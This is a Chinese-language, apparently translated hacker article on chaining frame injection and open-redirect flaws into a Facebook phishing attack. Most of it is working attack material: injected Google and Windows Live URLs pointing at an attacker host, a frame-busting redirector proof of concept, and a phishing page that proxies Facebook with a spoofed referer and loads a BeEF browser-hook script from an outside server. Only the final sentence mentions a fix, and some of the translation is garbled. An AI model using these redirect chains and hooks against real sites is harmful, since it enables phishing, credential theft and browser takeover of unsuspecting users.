從框架注入漏洞到非法重定向
一、框架注入漏洞的定義,描述:
定義:
一個(gè)框架注入攻擊是一個(gè)所有基于GUI的瀏覽器攻擊,它包括任何代碼如JavaScript,VBScript(ActivX),Flash,AJAX(html+js+py)。代碼被注入是由于腳本沒(méi)有對(duì)它們正確驗(yàn)證。
框架弱點(diǎn)的注入攻擊,盡管有些人可能會(huì)認(rèn)為它們與HTML注入/跨站腳本是同類,我在此告訴你:“它們是不一樣的。”
這是為什么:
* 沒(méi)有必要注入特殊控制字符,如尖括號(hào)(HTMLi/XSS)
* HTMLi/XSS 過(guò)濾慣常的程序不會(huì)對(duì)項(xiàng)目?jī)?nèi)注入,因?yàn)槲覀冎恍枰迦胍粋€(gè)URL中的非審查的參數(shù)。
最好的解釋方法就是舉一個(gè)例子。大多數(shù)框架注入的問(wèn)題都發(fā)生在Web應(yīng)用程序中,因?yàn)閯?dòng)態(tài)框架/iframe中沒(méi)有足夠的實(shí)施過(guò)濾。例如, 我們的目標(biāo)有以下網(wǎng)址:
https://www.***.com /index.php?targeturl=/contact.php
我們的意圖是要發(fā)動(dòng)釣魚(yú)攻擊篡改的targeturl參數(shù)。我們的目標(biāo)是是插入第三方網(wǎng)頁(yè),根據(jù)我們的控制,而不是原來(lái)的聯(lián)系網(wǎng)頁(yè):
https://www.victim.foo/index.php?targeturl=http://evil.foo/login.php
注:我們可以編碼惡意pishing鏈接到十六進(jìn)制值,在此文章內(nèi)我們沒(méi)有使用。
二、針對(duì)網(wǎng)址作為有效載荷的描述:
這種技術(shù)只工作在受害者已將您加入他的朋友清單內(nèi),如果Facebook的cookie數(shù)據(jù)儲(chǔ)存在瀏覽器中,合法的框架注入對(duì)Facebook的組成輸入一個(gè)url上的網(wǎng)頁(yè)并命名為sharer.php。在Facebook中你將會(huì)看到,如果聯(lián)系人在線或不接受時(shí),他的朋友或如果他的個(gè)人資料是公開(kāi)的。黑客將嘗試添加您并獲得關(guān)于您的信息。在Facebook會(huì)建議您不要讓每一個(gè)不被信任的聯(lián)系人加入您,因?yàn)樗梢試L試破解你的帳戶,如發(fā)生給你一個(gè)惡意鏈接。
這種攻擊如何工作?
這兒是一個(gè)小的代碼,可以使用Facebook保護(hù)“合法”鏈接注入facebook.com/sharer.php。
/--------------------------------------\ /------\
|http:// | |share |
\--------------------------------------/ \------/
使用Google或Live搜索框注入作為有效載荷的攻擊:
現(xiàn)在可以使用我們的惡意智能劫持這個(gè)。
“合法”框架注入,我們將使用一個(gè)值得“信賴”的網(wǎng)站,bypass.php源代碼是我們的惡意重定向腳本,這將是解釋下面的內(nèi)容。
The source code of bypass.php is my malicious redirector script, it will be explained later in the paper.
Google圖像框架注入
http://www.google.fr/imgres?imgurl=http://fake_url&imgrefurl=http://evil.foo/bypass.php
或
Windows live 翻譯框架注入
http://www.windowslivetranslator.com/BV.aspx?ref=Internal#http://www.windowslivetranslator.com/bv.aspx?mkt=fr-FR&dl=fr&lp=en_fr&a=http://evil.foo/bypass.php
三、重定向描述 :
重定向漏洞允許一個(gè)邪惡的用戶對(duì)一個(gè)網(wǎng)站重定向給受害者。主要攻擊媒介的這種脆弱性是pishing。只有在遠(yuǎn)程Web服務(wù)器的權(quán)限可以重定向漏洞使用惡意腳本php,javascript, vbscript ,ajax (worm)。
最常見(jiàn)的攻擊媒介是體現(xiàn)在雙重網(wǎng)址中:
http://site.com/redirect?r=http://malicious_website.com
四、利用方式,結(jié)合重定向框架注入vulnz:
先進(jìn)的重定向和框架注入組合攻擊:
/-----------/ /-----------/ /-----------/ /-----------/ /-----------/
|facebook ---| google ---| bypass.php|---| login.php ---| b e e f :
\-----------\ \-----------\ \-----------\ \-----------\ \-----------\
Facebook的sharer.php的輸入源可能看起來(lái)像這樣的腳本:
#########################################################################
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title> Welcome in my-site-is-not-secure-now.w00t</title>
</head>
<frameset rows="*" cols="110,*" frameborder="NO" border="0" framespacing="0">
<frame src="navigation.htm" name="navigation" frameborder="yes" scrolling=""NO"
bordercolor="#0000CC" id="navigation">
<frameset rows="98,*" cols="*" framespacing="0" frameborder="NO" border="0" >
<frame src="en_tete.htm" name="en-tete" frameborder="yes" scrolling="NO"
bordercolor="#000000" id="en-tete">
<frame src="<?php
//secure code
if(isset($_GET['iframe']))
{
$allowUrls = array("http://www.google.fr/imgres?imgurl=http://fake_url&imgrefurl=http://evil.foo/bypass.php");
if(in_array($_GET['iframe'], $allowUrls))
echo $_GET['iframe']; // 如果IFRAME中允許有一個(gè)網(wǎng)址
else // 為了顯示主頁(yè)(或一個(gè)錯(cuò)誤頁(yè)面)
echo "accueil.htm";
}
else // !!!
echo "accueil.htm";
?>" name="corps" scrolling="auto" id="corps">
</frameset>
</frameset><noframes>No frames :(</noframes>
</html>
#########################################################################
在Facebook中變換惡意網(wǎng)址鏈接像這樣(sharer.php script):
http://www.facebook.com/ext/share.php?sid=501337&h=Crew&u=p3lo
和上面的鏈接Facebook的概況出現(xiàn)像這樣:
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
圖片搜索結(jié)果
http://www.google.fr/imgres?imgurl=http://fake_url...
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
現(xiàn)在來(lái)看看我的成批輸出轉(zhuǎn)換程序(PoC)重定向腳本(bypass.php):
###########################################################################
<head>
<meta http-equiv="Content-Language" content="it">
<SCRIPT LANGUAGE="JavaScript">
if (top.frames.length!=0) top.location=self.document.location;
</SCRIPT>
<title>fb redirector PoC by Czy</title>
</head>
<body bgcolor="#99FF66">
第一個(gè)腳本包含在head,允許殺死第一個(gè)框架的有效載荷,URL重定向到self.document.location。
第二個(gè)腳本允許重定向我的網(wǎng)頁(yè)上,以先進(jìn)的pishing頁(yè)面。
<br>
<br><br>
</body>
<br><br><script>document.location="http://evil.foo/login.php";</script><br>
###############################################################################
這是先進(jìn)重定向pishing頁(yè)面的來(lái)源 (login.php):
###############################################################################
<?php
//by Czy
$referer=”http://www.facebook.com/”;
// spoofing FireFox 2.0
$useragent=”Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1?;
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "http://www.facebook.com/");
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_REFERER, $referer);
curl_exec ($ch);
curl_close ($ch);
?>
<script src=”http://beefsite/beef/hook/beefmagic.js.php”></script>
###############################################################################
五、尾聲:
經(jīng)過(guò)長(zhǎng)期時(shí)刻的研究,我認(rèn)為最好的方式來(lái)糾正這些漏洞是保證用戶離開(kāi)該網(wǎng)頁(yè)和網(wǎng)站域名的重定向頁(yè)面。